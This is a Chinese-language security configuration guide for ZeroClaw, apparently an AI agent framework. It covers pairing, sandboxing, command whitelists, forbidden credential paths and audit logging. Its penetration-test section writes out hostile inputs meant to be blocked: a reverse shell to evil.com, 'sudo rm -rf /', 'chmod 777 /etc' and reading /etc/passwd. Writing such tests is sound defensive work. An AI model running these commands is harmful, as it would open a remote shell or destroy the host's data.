安全配置¶

ZeroClaw 在每一层都强制执行安全策略。本指南详细说明了所有安全特性和最佳实践。

安全分层架构¶

ZeroClaw 采用多层安全设计，确保每个层面都有防护：

┌─────────────────────────────────────┐
│ 应用层：配对、认证、授权             │
├─────────────────────────────────────┤
│ 执行层：沙盒、限制、过滤             │
├─────────────────────────────────────┤
│ 访问层：工作区、路径控制、命令过滤   │
├─────────────────────────────────────┤
│ 存储层：加密、安全日志、屏蔽敏感信息 │
└─────────────────────────────────────┘

网关安全¶

配对认证机制¶

网关需要显式配对才能接受外部连接：

# 启动网关时会显示配对码
$ zeroclaw gateway
[INFO] 配对码: 123456
[INFO] 请在 300 秒内完成配对

# 客户端使用配对码交换 Token
curl -X POST http://localhost:8080/pair \
  -H "X-Pairing-Code: 123456" \
  | jq .

# 响应
{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

绑定地址限制¶

[gateway]
# 默认只绑定本地回环地址
bind_address = "127.0.0.1"

# 禁止公开绑定
allow_public_bind = false

# 必须配置隧道才能公开访问

Webhook 认证¶

所有 Webhook 请求都需要 Bearer Token：

# 正确的请求方式
curl -X POST http://localhost:8080/webhook \
  -H "Authorization: Bearer eyJ..." \
  -H "Content-Type: application/json" \
  -d '{"message": "Hello"}'

# 缺少 Token 的请求会被拒绝
curl -X POST http://localhost:8080/webhook \
  -d '{"message": "Hello"}'

# 响应
401 Unauthorized

文件系统安全¶

工作区隔离¶

[autonomy]
# 默认启用工作区限制
workspace_only = true

禁止访问的路径¶

[autonomy]
forbidden_paths = [
    "/etc",           # 系统配置
    "/root",          # Root 用户目录
    "/proc",          # 进程信息
    "/sys",           # 系统信息
    "/.ssh",          # SSH 密钥
    "/.gnupg",        # GPG 密钥
    "/.aws",          # AWS 凭证
    "/.docker",       # Docker 配置
    "/.kube"          # Kubernetes 配置
]

路径规范化防护¶

ZeroClaw 防止路径遍历攻击：

// 自动检测和阻止
../etc/passwd      ❌ 阻止
./../../etc/passwd ❌ 阻止
/tmp/file         ✅ 允许
workspace/file    ✅ 允许

命令执行安全¶

允许命令白名单¶

[autonomy]
allowed_commands = [
    "git", "npm", "cargo", "ls", "cat", "grep",
    "python", "node", "cargo", "make", "cmake"
]

# 任何不在列表中的命令都会被拒绝
allowed_patterns = ["^git .*", "^npm .*"]

命令参数过滤¶

// 自动过滤危险参数
rm -rf /         ❌ 阻止
sudo rm ...      ❌ 阻止
chmod 777 ...    ❌ 警告
ssh user@host    ❌ 阻止

沙盒运行时¶

Native 运行时（应用层）¶

[runtime]
kind = "native"

安全特性： - ✅ 命令白名单 - ✅ 路径隔离 - ✅ 参数过滤 - ✅ 工作区限制

Docker 运行时（容器层）¶

[runtime]
kind = "docker"

[runtime.docker]
image = "alpine:3.20"
network = "none"                    # 无网络
read_only_rootfs = true             # 只读根文件系统
memory_limit_mb = 512                # 内存限制
cpu_limit = 1.0                     # CPU 限制
mount_workspace = true              # 挂载工作区

额外安全特性： - ✅ 容器隔离 - ✅ 无网络访问 - ✅ 只读文件系统 - ✅ 资源限制

渠道安全¶

Telegram 白名单¶

[channels_config.telegram]
bot_token = "your-bot-token"

# 推荐配置：只允许特定用户
allowed_users = ["your_username", "123456789"]

# 禁用：允许所有人（仅用于测试）
# allowed_users = ["*"]

Discord 白名单¶

[channels_config.discord]
bot_token = "your-bot-token"
allowed_user_ids = ["your-discord-user-id"]

白名单策略¶

配置	行为	安全级别
空列表 `[]`	拒绝所有消息	🔒 最高
`["*"]`	允许所有人	⚠️ 最低
`["user1", user2"]`	只允许指定用户	🔐 高

密钥加密¶

启用加密¶

[secrets]
# 加密所有 API 密钥
encrypt = true

# 加密密钥文件（自动生成）
key_file = "~/.zeroclaw/crypto.key"

加密后的配置¶

# 明文（不安全）
api_key = "sk-ant-api03-..."

# 加密后（安全）
api_key = "enc:U2FsdGVkX1+7wXk9Y..."

浏览器安全¶

域名白名单（必需）¶

[browser]
enabled = true

# 必须配置允许访问的域名
allowed_domains = [
    "docs.rs",
    "github.com",
    "stackoverflow.com",
    "pypi.org"
]

端点限制¶

[browser.computer_use]
# 只允许本地端点（防止远程攻击）
allow_remote_endpoint = false

# 端点 URL
endpoint = "http://127.0.0.1:8787/v1/actions"

坐标防护¶

[browser.computer_use]
# 限制鼠标/键盘坐标范围（可选）
max_coordinate_x = 3840
max_coordinate_y = 2160

隧道安全¶

Cloudflare Tunnel¶

[tunnel]
provider = "cloudflare"

[tunnel.cloudflare]
tunnel_id = "your-tunnel-id"
account_tag = "your-account-tag"

优势： - ✅ 强加密 - ✅ 域名验证 - ✅ DDoS 防护 - ✅ 自动 HTTPS

Tailscale¶

[tunnel]
provider = "tailscale"

[tunnel.tailscale]
auth_key = "your-auth-key"
hostname = "zeroclaw-1"

优势： - ✅ 点对点加密 - ✅ 网络隔离 - ✅ 访问控制 - ✅ 日志审计

审计日志¶

启用审计¶

[autonomy]
# 详细日志级别
log_level = "debug"

# 记录所有命令执行
audit_commands = true

# 记录文件访问
audit_files = true

日志内容¶

[INFO] Command executed: git status
[INFO] File accessed: /workspace/README.md
[WARN] Command blocked: rm -rf /
[ERROR] Access denied: /etc/passwd

安全检查清单¶

部署前检查¶

定期审查¶

安全测试¶

基本安全测试¶

# 运行安全诊断
zeroclaw doctor

# 测试网关安全
curl http://localhost:8080/webhook
# 应该返回 401 Unauthorized

# 测试路径遍历
zeroclaw agent -m "read file /etc/passwd"
# 应该被阻止

渗透测试¶

# 测试命令注入
zeroclaw agent -m "run 'sudo rm -rf /'"
# 应该被阻止

# 测试权限提升
zeroclaw agent -m "chmod 777 /etc"
# 应该被阻止

# 测试反向 Shell
zeroclaw agent -m "bash -i >& /dev/tcp/evil.com/4444 0>&1"
# 应该被阻止

最佳实践¶

1. 最小权限原则¶

# 只给予必要的权限
allowed_commands = ["git", "cat"]  # ✅ 好
allowed_commands = ["*"]          # ❌ 不好

2. 深度防御¶

# 多层防护）
require_pairing = true
allow_public_bind = false
workspace_only = true
encrypt = true

3. 定期更新¶

# 更新 ZeroClaw
cargo install zeroclaw

# 更新依赖
cargo update

4. 监控和审计¶

# 查看日志
tail -f ~/.zeroclaw/logs/zeroclaw.log

# 搜索异常
grep "ERROR\|WARN" ~/.zeroclaw/logs/zeroclaw.log

事件响应¶

检测入侵¶

# 查看异常登录
grep "Unauthorized" ~/.zeroclaw/logs/*.log

# 检查被阻止的命令
grep "blocked" ~/.zeroclaw/logs/*.log

应急措施¶

# 1. 停止服务
zeroclaw service stop

# 2. 轮换密钥
rm ~/.zeroclaw/crypto.key
# 重新运行 zeroclaw onboard

# 3. 审查日志
# 查看哪些操作被执行

# 4. 更新配置
# 修改允许列表和权限

# 5. 重启服务
zeroclaw service start

安全资源¶

ZeroClaw 的安全设计遵循"安全默认，显式授权"的原则。始终建议在生产环境中启用所有安全特性。